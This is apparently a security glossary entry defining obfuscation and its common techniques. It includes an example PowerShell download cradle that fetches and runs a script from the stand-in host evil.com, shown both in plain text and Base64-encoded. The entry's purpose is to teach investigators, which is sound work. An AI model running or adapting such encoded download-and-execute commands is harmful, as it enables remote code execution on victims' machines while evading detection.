Obfuscation

Tactics & Techniques

Definition

Obfuscation is the practice of **deliberately making code, data, or communications harder to read or understand**.

The purpose isn’t necessarily to encrypt or fully hide something — it’s to make analysis and detection more difficult. Both legitimate developers and malicious actors use obfuscation:

* **Legitimate uses** – Protecting intellectual property in software, making reverse engineering harder.
* **Malicious uses** – Hiding malware functionality, disguising malicious commands, bypassing security tools.

Common obfuscation techniques in cyberattacks:

* **String manipulation** – Breaking up suspicious words like `PowerShell` into pieces and reassembling them at runtime.
* **Encoding** – Using Base64, hexadecimal, or other formats to hide payloads.
* **Variable renaming** – Changing meaningful names into meaningless ones (`password` → `x7z_a`).
* **Control flow alteration** – Adding junk code, fake branches, or loops to confuse analysts.
* **Polyglot or nested scripts** – Embedding one script language inside another.

Example – a malicious PowerShell command might be written as:

```powershell
$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/a.ps1')"
```

but obfuscated as:

```powershell
powershell -enc SUVYIChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vZXZpbC5jb20vYS5wczEnKQ==
```

(Here, the payload is Base64-encoded to avoid detection.)

Why it matters in investigations:

* Obfuscation is a common sign of malicious intent in scripts, macros, and binaries.
* Analysts often need to **de-obfuscate** the code to understand what it does.
* Automated detection may fail if rules look only for clear-text indicators.

Obfuscation

Definition

Explore More Terms